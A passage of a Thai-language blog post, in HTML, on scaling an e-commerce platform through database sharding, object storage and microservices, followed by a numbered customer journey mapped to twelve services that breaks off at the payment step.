&#xE08;&#xE32;&#xE01;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22; Server &#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE01;&#xE25;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE1B;&#xE25;&#xE32;&#xE22;&#xE17;&#xE32;&#xE07; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE25;&#xE14; Latency &#xE41;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE23;&#xE47;&#xE27;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Load &#xE2B;&#xE19;&#xE49;&#xE32;&#xE40;&#xE27;&#xE47;&#xE1A; &#xE2A;&#xE48;&#xE07;&#xE1C;&#xE25;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-13.png" class="kg-image" alt loading="lazy" width="1622" height="1534" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-13.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-13.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/diagram-13.png 1600w, https://blog.pjjop.org/content/images/2024/07/diagram-13.png 1622w" sizes="(min-width: 720px) 720px"></figure><p><strong><em>DB Sharding</em></strong><br>&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Cache Layer &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1A;&#xE23;&#xE23;&#xE40;&#xE17;&#xE32; Application &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Read &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE31;&#xE01; &#xE41;&#xE15;&#xE48;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35; Request &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Write &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Architecture &#xE41;&#xE1A;&#xE1A; Leader-follower Replication &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Leader Node &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE31;&#xE01;&#xE21;&#xE32;&#xE01;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B; DB Sharding &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23; Write &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Server &#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE15;&#xE31;&#xE27;</p><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Sharding &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE02;&#xE2D;&#xE07; Table &#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE41;&#xE22;&#xE01;&#xE15;&#xE32;&#xE21; Server &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE22;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE1A;&#xE48;&#xE07; Table user &#xE41;&#xE1A;&#xE1A; <strong>Horizontal Sharding</strong> &#xE15;&#xE32;&#xE21; user ID &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE41;&#xE1A;&#xE48;&#xE07; Table user &#xE41;&#xE1A;&#xE1A; <strong>Vertical Sharding</strong> &#xE15;&#xE32;&#xE21; Column</p><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Sharding<strong> &#xE08;&#xE30;</strong>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A; Application &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE16;&#xE39;&#xE01;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE41;&#xE25;&#xE30;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19; Database &#xE2B;&#xE25;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27; (&#xE2B;&#xE25;&#xE32;&#xE22; Shard) &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE22;&#xE32;&#xE01;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE31;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Latency &#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE23;&#xE27;&#xE1A;&#xE23;&#xE27;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; Shard</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-14.png" class="kg-image" alt loading="lazy" width="1957" height="2453" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-14.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-14.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/diagram-14.png 1600w, https://blog.pjjop.org/content/images/2024/07/diagram-14.png 1957w" sizes="(min-width: 720px) 720px"></figure><p><strong><em>Object Store</em></strong><br>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Application &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Static Content &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23; File Server 1 &#xE15;&#xE31;&#xE27; &#xE2D;&#xE32;&#xE08;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE1E;&#xE2D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A; Static Content &#xE43;&#xE19; Distributed Object Store &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; AWS S3 &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Scale &#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE14;&#xE49;&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14; &#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE19;&#xE17;&#xE32;&#xE19;&#xE2A;&#xE39;&#xE07; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE1C;&#xE48;&#xE32;&#xE19; API &#xE42;&#xE14;&#xE22;&#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE19;&#xE17;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Sync &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE31;&#xE1A; CDN Server &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-6.png" class="kg-image" alt loading="lazy" width="1650" height="614" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-6.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-6.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/diagram-6.png 1600w, https://blog.pjjop.org/content/images/2024/07/diagram-6.png 1650w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-15.png" class="kg-image" alt loading="lazy" width="1868" height="2453" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-15.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-15.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/diagram-15.png 1600w, https://blog.pjjop.org/content/images/2024/07/diagram-15.png 1868w" sizes="(min-width: 720px) 720px"></figure><p><strong><em>Split and modularize services into microservice</em></strong><br>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE18;&#xE38;&#xE23;&#xE01;&#xE34;&#xE08;&#xE02;&#xE22;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B; Business Logic &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE32;&#xE21;&#xE18;&#xE23;&#xE23;&#xE21;&#xE0A;&#xE32;&#xE15;&#xE34; Feature &#xE41;&#xE25;&#xE30;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE43;&#xE19;&#xE08;&#xE31;&#xE07;&#xE2B;&#xE27;&#xE30;&#xE17;&#xE35;&#xE48;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19;&#xE15;&#xE32;&#xE21;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE15;&#xE31;&#xE27;</p><p>Microservice Architecture &#xE41;&#xE1A;&#xE48;&#xE07;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Application &#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01;&#xE41;&#xE25;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE34;&#xE2A;&#xE23;&#xE30; &#xE42;&#xE14;&#xE22;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE34;&#xE08;&#xE01;&#xE23;&#xE23;&#xE21;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE19;&#xE40;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE01;&#xE31;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19; Protocal &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; <strong>gRPC</strong> &#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE42;&#xE14;&#xE22;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE40;&#xE23;&#xE32;&#xE22;&#xE31;&#xE07;&#xE41;&#xE1A;&#xE48;&#xE07; Layer &#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE08;&#xE32;&#xE01; Client &#xE1C;&#xE48;&#xE32;&#xE19; REST API &#xE2B;&#xE23;&#xE37;&#xE2D; <strong>GraphQL</strong></p><p>Database &#xE43;&#xE19;&#xE41;&#xE1A;&#xE1A; Microservice Architecture &#xE21;&#xE31;&#xE01;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE41;&#xE25;&#xE30;&#xE16;&#xE39;&#xE01;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE42;&#xE14;&#xE22;&#xE17;&#xE35;&#xE21;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE08;&#xE49;&#xE32;&#xE02;&#xE2D;&#xE07; Service</p><p>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Request &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Latency &#xE2A;&#xE39;&#xE07; &#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE2A;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE43;&#xE19; Message Queue &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE41;&#xE1A;&#xE1A; Asynchronous</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-16.png" class="kg-image" alt loading="lazy" width="2000" height="2089" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-16.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-16.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/diagram-16.png 1600w, https://blog.pjjop.org/content/images/2024/07/diagram-16.png 2182w" sizes="(min-width: 720px) 720px"></figure><h2 id="user-journey-grouping">User Journey Grouping</h2><p>&#xE08;&#xE32;&#xE01; User Journey Flow &#xE02;&#xE2D;&#xE07; E-commerce Platform &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21; Journey &#xE15;&#xE32;&#xE21; Service &#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; 12 Service</p><p><strong>Core Service</strong><br>1. Product<br>2. User<br>3. Inventory<br>4. Shopping Cart<br>5. Order<br>6. Payment</p><p><strong>Supporting Service</strong><br>7. Login<br>8. Notification<br>9. Promotion<br>10. Shipping<br>11. Review and Rating<br>12. Return and Refund</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE43;&#xE2B;&#xE49; Product, User, Inventory, Shopping Cart, Order &#xE41;&#xE25;&#xE30; Payment &#xE40;&#xE1B;&#xE47;&#xE19; <strong>Core Service</strong> &#xE41;&#xE25;&#xE30; Login, Notification, Promotion, Shipping, Review and Rating &#xE41;&#xE25;&#xE30; Return and Refund &#xE40;&#xE1B;&#xE47;&#xE19; <strong>Supporting Service</strong></p><p>&#xE42;&#xE14;&#xE22;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Journey &#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE1A; Service &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p> &#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Account &#xE17;&#xE35;&#xE48;&#xE2A;&#xE21;&#xE31;&#xE04;&#xE23;<br><strong>Product</strong><br>1. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C; E-commerce</p><p><strong>User</strong><br>2. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE43;&#xE2B;&#xE21;&#xE48;</p><p><strong>Login</strong><br>3. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Account &#xE17;&#xE35;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; -&gt; &#xE44;&#xE1B;&#xE02;&#xE49;&#xE2D;&#xE17;&#xE35;&#xE48; 8<br></p><p>&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Email OTP<br><strong>Product</strong><br>4. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C; E-commerce</p><p><strong>Login</strong><br>5. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE01;&#xE23;&#xE2D;&#xE01; Email &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE15;&#xE31;&#xE27;&#xE15;&#xE19;</p><p><strong>Notification</strong><br>6. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2A;&#xE48;&#xE07; OTP &#xE1C;&#xE48;&#xE32;&#xE19; Email</p><p><strong>Login</strong><br>7. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; OTP &#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE32;&#xE17;&#xE32;&#xE07; Email -&gt; &#xE44;&#xE1B;&#xE02;&#xE49;&#xE2D;&#xE17;&#xE35;&#xE48; 8</p><p>8. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE14;&#xE39;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE41;&#xE23;&#xE01; &#xE14;&#xE39;&#xE15;&#xE32;&#xE21;&#xE2B;&#xE21;&#xE27;&#xE14;&#xE2B;&#xE21;&#xE39;&#xE48;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2A;&#xE48;&#xE04;&#xE33;&#xE04;&#xE49;&#xE19;<br>9. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE0A;&#xE37;&#xE48;&#xE2D; SKU &#xE23;&#xE32;&#xE04;&#xE32; &#xE23;&#xE39;&#xE1B;&#xE20;&#xE32;&#xE1E; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE02;&#xE32;&#xE22;&#xE44;&#xE14;&#xE49; &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE49;&#xE32;&#xE19;&#xE04;&#xE49;&#xE32; &#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14; (&#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14;&#xE08;&#xE32;&#xE01;&#xE23;&#xE49;&#xE32;&#xE19; &#xE41;&#xE25;&#xE30; Code &#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14;) &#xE04;&#xE30;&#xE41;&#xE19;&#xE19;&#xE23;&#xE35;&#xE27;&#xE34;&#xE27; <br>10. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE14;&#xE39;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE19;&#xE43;&#xE08; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE04;&#xE33;&#xE1A;&#xE23;&#xE23;&#xE22;&#xE32;&#xE22; &#xE04;&#xE38;&#xE13;&#xE2A;&#xE21;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE31;&#xE19;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE04;&#xE37;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;<br>11. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;</p><p><strong>Shopping Cart</strong><br>12. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE25;&#xE07;&#xE15;&#xE30;&#xE01;&#xE23;&#xE49;&#xE32;</p><p><strong>Promotion</strong><br>13. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE42;&#xE21;&#xE0A;&#xE31;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;<br>14. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE43;&#xE2A;&#xE48;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE04;&#xE39;&#xE1B;&#xE2D;&#xE07;<br>15. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE30;&#xE41;&#xE19;&#xE19;&#xE2A;&#xE30;&#xE2A;&#xE21; (&#xE16;&#xE49;&#xE32;&#xE21;&#xE35;)</p><p><strong>Order</strong><br>16. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;</p><p><strong>Shipping</strong><br>17. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE01;&#xE23;&#xE2D;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE41;&#xE25;&#xE30;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;</p><p><strong>Order</strong><br>18. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE04;&#xE48;&#xE32;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE41;&#xE25;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE23;&#xE27;&#xE21;&#xE23;&#xE32;&#xE04;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;<br>19. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE01;&#xE23;&#xE2D;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;</p><p><strong>Payment</strong><br>20. 